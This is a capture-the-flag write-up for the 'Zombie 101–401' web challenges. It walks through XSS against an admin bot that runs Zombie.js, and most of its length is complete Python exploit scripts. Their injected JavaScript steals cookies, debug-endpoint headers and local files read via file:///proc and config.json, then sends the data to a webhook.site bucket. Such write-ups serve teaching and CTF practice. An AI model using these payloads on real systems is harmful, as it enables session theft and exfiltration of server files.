cd ..

Zombie 101 - 401

web

We’re presented with a simple webpage.

Expression

By submitting <script>alert(1)</script> to the first input we can see that it is not sanitized. This means we can inject arbitrary javascript into the page, making this an XSS vulnerabilty.

The user input is submitted as a url parameter like this: https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ealert%281%29%3C%2Fscript%3E.

This url can be submitted through the second input field and a bot will look at it.

The webpage is the same for all versions of the challenge, only the config changes slightly.

Zombie 101

For Zombie 101 the config is as follows:

{
  "flag": "wctf{redacted}",
  "httpOnly": false,
  "allowDebug": true
}

The config is used to construct a cookie that is set on the bot when it visits the page.

We can exploit it through the url with a simple XSS as discussed above, since the cookie is not httpOnly.

The most important part here is the payload variable, the rest just sets up a request bucket and retrieves the result from it.

import requests
import urllib.parse

# setup bucket
r = requests.post("https://webhook.site/token")
bucket_id = r.json()["uuid"]
bucket_url = f"https://webhook.site/{bucket_id}"

# execute exploit
visit_base = 'https://zombie-101-tlejfksioa-ul.a.run.app/visit?url='
show_base = 'https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show='
payload = f"""
<script>
    fetch("{bucket_url}?cookie=" + document.cookie);
</script>
"""

target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))
r = requests.get(target_url)
print(r.text)

# fetch result
r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
print(r.json()["data"][0]["query"]["cookie"])

When running it we get the following output:

$ python3 101.py
admin bot has visited your url
flag=wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}

Zombie 201

For Zombie 201 httpOnly is set to true, meaning we can’t access the cookie through our simple XSS. By looking at the source code we can find an interesting endpoint however:

// useful for debugging cloud deployments
app.get("/debug", function (req, res) {
  if (config.allowDebug) {
    res.send({ "remote-ip": req.socket.remoteAddress, ...req.headers });
  } else {
    res.send("sorry, debug endpoint is not enabled");
  }
});

By utilizing this endpoint we can get the cookie through reflected XSS:

import requests
import os
import json
import urllib.parse

# setup bucket
token_path = ".webhook-site.token"
if os.path.exists(token_path):
    with open(token_path, "r") as f:
        bucket_id = f.read()
else:
    r = requests.post("https://webhook.site/token")
    bucket_id = r.json()["uuid"]
    with open(token_path, "w") as f:
        f.write(bucket_id)

bucket_url = f"https://webhook.site/{bucket_id}"
print(f"https://webhook.site/#!/{bucket_id}/")

# execute exploit
base_base = 'https://zombie-201-tlejfksioa-ul.a.run.app'
visit_base = f'{base_base}/visit?url='
show_base = f'{base_base}/zombie?show='
payload = f"""
<script>
(async function() {{
    await fetch("{bucket_url}?cookie=" + JSON.stringify(await (await fetch("https://zombie-201-tlejfksioa-ul.a.run.app/debug")).json()))
}})();
</script>
"""

target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))
print("sending", target_url)
r = requests.get(target_url)
print(r.text)

# fetch result
r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
print(json.loads(r.json()["data"][0]["query"]["cookie"])["cookie"])

Zombie 301

For Zombie 301 httpOnly is set to true and allowDebug is set to false, meaning we can’t access the cookie through our simple XSS and we can’t use the debug endpoint.

Since the request is still sent using the header we can just extract the cookie from the request header regardless of the response from the server. This is due to missing security measurements in the browser-implementation used by the bot.

import requests
import os
import re
import urllib.parse

# setup bucket
token_path = ".webhook-site.token"
if os.path.exists(token_path):
    with open(token_path, "r") as f:
        bucket_id = f.read()
else:
    r = requests.post("https://webhook.site/token")
    bucket_id = r.json()["uuid"]
    with open(token_path, "w") as f:
        f.write(bucket_id)

bucket_url = f"https://webhook.site/{bucket_id}"
print(f"https://webhook.site/#!/{bucket_id}/")

# execute exploit
base_base = 'https://zombie-301-tlejfksioa-ul.a.run.app/'
visit_base = f'{base_base}/visit?url='
show_base = f'{base_base}/zombie?show='
payload = f"""
<script>
(async function() {{
    await fetch("{bucket_url}?cookie=" + JSON.stringify((await fetch("https://zombie-301-tlejfksioa-ul.a.run.app/debug"))))
}})();
</script>
"""

target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))
print("sending", target_url)
r = requests.get(target_url)
print(r.text)

# fetch result
r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
data = r.json()["data"][0]["query"]["cookie"]
print(re.search(r"(?<=flag=).*?(?=\")", data).group(0))

Zombie 401

Zombie 401 changes things up a little. The flag is no longer part of the cookies and is just added to the config file but never used in the code.

{
  "flag": "find-the-secret-flag",
  "httpOnly": false,
  "allowDebug": true,
  "secret-flag": "wctf{redacted}"
}

This means we can only access it through techniques like LFI or RCE. At this point the browser-implementation used by the bot gets interesting.

The bot uses Zombie.js to view the provided webpage. Zombie.js is a headless browser that is used for testing web applications. As such its focus is on being as fast as possible and not on security. As such many of the expected security measures are missing in Zombie.js.

One such shortcomming is that Zombie.js does not separate origins and thus allows us to read arbitrary files by using the file:// protocol.

Since everything is a file on Linux we can use this to first get more information on the process we’re running in (by accessing /proc/self/status and /proc/<pid>/environ) and then use that to read the flag from the config file as shown below.

import requests
import os
import re
import urllib.parse
import json
import time

# setup bucket
token_path = ".webhook-site.token"
if os.path.exists(token_path):
    with open(token_path, "r") as f:
        bucket_id = f.read()
else:
    r = requests.post("https://webhook.site/token")
    bucket_id = r.json()["uuid"]
    with open(token_path, "w") as f:
        f.write(bucket_id)

bucket_url = f"https://webhook.site/{bucket_id}"


# execute exploit
base_base = 'https://zombie-401-tlejfksioa-ul.a.run.app/'
visit_base = f'{base_base}/visit?url='
show_base = f'{base_base}/zombie?show='
payload = f"""
<script>
(async function() {{
    let url = "file:///proc/self/status";
    let response = await fetch(url);
    let content = await response.text();
    let pid = content.toString().split("\\n")[3].split("\\t")[1];

    url = "file:///proc/" + pid + "/environ";
    response = await fetch(url);
    content = await response.text();
    url = "file://" + content.split("\\u0000")[8].split("=")[1] + "/config.json"
    response = await fetch(url);
    content = await response.json();
    let flag = content["secret-flag"]

    await fetch("{bucket_url}?data=" + JSON.stringify(flag));
}})();
</script>
"""


target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))
r = requests.get(target_url)
print(r.text)

# fetch result
time.sleep(.1)
r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
data = json.loads(r.json()["data"][0]["query"]["data"])
print(data)

Bonus: All in One - Zombie 101-401

Using the technique from Zombie 401 we can combine solving all 4 challenges in one script.

import requests
import os
import re
import urllib.parse
import json
import time

# setup bucket
token_path = ".webhook-site.token"
if os.path.exists(token_path):
    with open(token_path, "r") as f:
        bucket_id = f.read()
else:
    r = requests.post("https://webhook.site/token")
    bucket_id = r.json()["uuid"]
    with open(token_path, "w") as f:
        f.write(bucket_id)

bucket_url = f"https://webhook.site/{bucket_id}"

# execute exploit
for i in range(1, 4+1):
    base_base = f'https://zombie-{i}01-tlejfksioa-ul.a.run.app/'
    visit_base = f'{base_base}/visit?url='
    show_base = f'{base_base}/zombie?show='
    # abuses the fact that zombie has no origin separation
    # https://github.com/nodejs/security-wg/pull/442
    # https://github.com/assaf/zombie/issues/1169
    payload = f"""
    <script>
    (async function() {{
        let url = "file:///proc/self/status";
        let response = await fetch(url);
        let content = await response.text();
        let pid = content.toString().split("\\n")[3].split("\\t")[1];

        url = "file:///proc/" + pid + "/environ";
        response = await fetch(url);
        content = await response.text();
        url = "file://" + content.split("\\u0000")[8].split("=")[1] + "/config.json"
        response = await fetch(url);
        content = await response.json();

        await fetch("{bucket_url}?content=" + JSON.stringify(content));
    }})();
    </script>
    """


    target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))
    r = requests.get(target_url)

    # fetch result from request bucket
    time.sleep(.1)
    r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
    content = json.loads(r.json()["data"][0]["query"]["content"])
    print(f"zombie-{i}01: ", content)